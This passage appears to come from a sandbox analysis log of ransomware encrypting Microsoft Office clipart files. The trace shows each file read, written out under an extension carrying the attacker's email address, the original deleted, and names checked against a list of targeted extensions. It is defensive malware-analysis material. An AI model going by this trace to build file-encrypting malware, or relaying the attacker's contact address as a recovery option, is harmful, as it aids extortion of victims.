Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.546] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.546] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.546] GetLastError () returned 0x0 [0152.546] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x542c, lpOverlapped=0x0) returned 1 [0153.036] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5430, lpOverlapped=0x0) returned 1 [0153.037] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.037] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.037] SetEndOfFile (hFile=0x33c) returned 1 [0153.037] CloseHandle (hObject=0x33c) returned 1 [0153.037] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.037] SetEndOfFile (hFile=0x38c) returned 1 [0153.038] CloseHandle (hObject=0x38c) returned 1 [0153.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0153.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.039] lstrlenW (lpString=".doc") returned 4 [0153.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.039] lstrlenW (lpString=".docx") returned 5 [0153.039] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.039] lstrlenW (lpString=".pdf") returned 4 [0153.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.039] lstrlenW (lpString=".xls") returned 4 [0153.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.039] lstrlenW (lpString=".xlsx") returned 5 [0153.039] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.039] lstrlenW (lpString=".ppt") returned 4 [0153.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.039] lstrlenW (lpString=".zip") returned 4 [0153.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.039] lstrlenW (lpString=".rar") returned 4 [0153.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.039] lstrlenW (lpString=".bz2") returned 4 [0153.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.039] lstrlenW (lpString=".7z") returned 3 [0153.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString=".dbf") returned 4 [0153.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString=".1cd") returned 4 [0153.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString=".jpg") returned 4 [0153.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString=".doc") returned 4 [0153.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString=".docx") returned 5 [0153.040] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.040] lstrlenW (lpString=".pdf") returned 4 [0153.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString=".xls") returned 4 [0153.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.040] lstrlenW (lpString=".xlsx") returned 5 [0153.040] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.040] lstrlenW (lpString=".ppt") returned 4 [0153.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.040] lstrlenW (lpString=".zip") returned 4 [0153.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.040] lstrlenW (lpString=".rar") returned 4 [0153.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.040] lstrlenW (lpString=".bz2") returned 4 [0153.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.041] lstrlenW (lpString=".7z") returned 3 [0153.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.041] lstrlenW (lpString=".dbf") returned 4 [0153.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.041] lstrlenW (lpString=".1cd") returned 4 [0153.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0153.041] lstrlenW (lpString=".jpg") returned 4 [0153.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.041] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.041] lstrlenW (lpString="J0107132.WMF") returned 12 [0153.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.041] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=48380) returned 1 [0153.041] CloseHandle (hObject=0x38c) returned 1 [0153.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0153.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.042] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.042] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.042] GetLastError () returned 0x0 [0153.042] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0153.043] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0153.045] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.045] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.045] SetEndOfFile (hFile=0x33c) returned 1 [0153.045] CloseHandle (hObject=0x33c) returned 1 [0153.045] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.045] SetEndOfFile (hFile=0x38c) returned 1 [0153.046] CloseHandle (hObject=0x38c) returned 1 [0153.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0153.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString=".doc") returned 4 [0153.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString=".docx") returned 5 [0153.047] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.047] lstrlenW (lpString=".pdf") returned 4 [0153.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString=".xls") returned 4 [0153.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.047] lstrlenW (lpString=".xlsx") returned 5 [0153.047] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.047] lstrlenW (lpString=".ppt") returned 4 [0153.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString=".zip") returned 4 [0153.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.047] lstrlenW (lpString=".rar") returned 4 [0153.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString=".bz2") returned 4 [0153.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString=".7z") returned 3 [0153.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString=".dbf") returned 4 [0153.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString=".1cd") returned 4 [0153.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.047] lstrlenW (lpString=".jpg") returned 4 [0153.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.048] lstrlenW (lpString=".doc") returned 4 [0153.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString=".docx") returned 5 [0153.048] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.048] lstrlenW (lpString=".pdf") returned 4 [0153.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString=".xls") returned 4 [0153.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.048] lstrlenW (lpString=".xlsx") returned 5 [0153.048] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.048] lstrlenW (lpString=".ppt") returned 4 [0153.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.048] lstrlenW (lpString=".zip") returned 4 [0153.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.048] lstrlenW (lpString=".rar") returned 4 [0153.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString=".bz2") returned 4 [0153.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString=".7z") returned 3 [0153.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.048] lstrlenW (lpString=".dbf") returned 4 [0153.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.048] lstrlenW (lpString=".1cd") returned 4 [0153.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0153.049] lstrlenW (lpString=".jpg") returned 4 [0153.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.049] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.049] lstrlenW (lpString="J0107134.WMF") returned 12 [0153.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.049] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=48388) returned 1 [0153.049] CloseHandle (hObject=0x38c) returned 1 [0153.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0153.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.050] GetLastError () returned 0x0 [0153.050] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xbd04, lpOverlapped=0x0) returned 1 [0153.051] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xbd10, lpOverlapped=0x0) returned 1 [0153.052] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.052] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.053] SetEndOfFile (hFile=0x33c) returned 1 [0153.053] CloseHandle (hObject=0x33c) returned 1 [0153.053] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.053] SetEndOfFile (hFile=0x38c) returned 1 [0153.054] CloseHandle (hObject=0x38c) returned 1 [0153.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0153.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.054] lstrlenW (lpString=".doc") returned 4 [0153.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString=".docx") returned 5 [0153.055] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.055] lstrlenW (lpString=".pdf") returned 4 [0153.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString=".xls") returned 4 [0153.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.055] lstrlenW (lpString=".xlsx") returned 5 [0153.055] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.055] lstrlenW (lpString=".ppt") returned 4 [0153.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.055] lstrlenW (lpString=".zip") returned 4 [0153.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.055] lstrlenW (lpString=".rar") returned 4 [0153.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString=".bz2") returned 4 [0153.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString=".7z") returned 3 [0153.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.055] lstrlenW (lpString=".dbf") returned 4 [0153.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.055] lstrlenW (lpString=".1cd") returned 4 [0153.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.055] lstrlenW (lpString=".jpg") returned 4 [0153.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString=".doc") returned 4 [0153.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString=".docx") returned 5 [0153.056] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.056] lstrlenW (lpString=".pdf") returned 4 [0153.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString=".xls") returned 4 [0153.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.056] lstrlenW (lpString=".xlsx") returned 5 [0153.056] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.056] lstrlenW (lpString=".ppt") returned 4 [0153.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString=".zip") returned 4 [0153.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.056] lstrlenW (lpString=".rar") returned 4 [0153.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString=".bz2") returned 4 [0153.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString=".7z") returned 3 [0153.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString=".dbf") returned 4 [0153.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString=".1cd") returned 4 [0153.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0153.056] lstrlenW (lpString=".jpg") returned 4 [0153.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.057] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.057] lstrlenW (lpString="J0107138.WMF") returned 12 [0153.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.057] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=17200) returned 1 [0153.057] CloseHandle (hObject=0x38c) returned 1 [0153.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0153.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.057] SetFilePointerEx (in: hFile=0x38c, 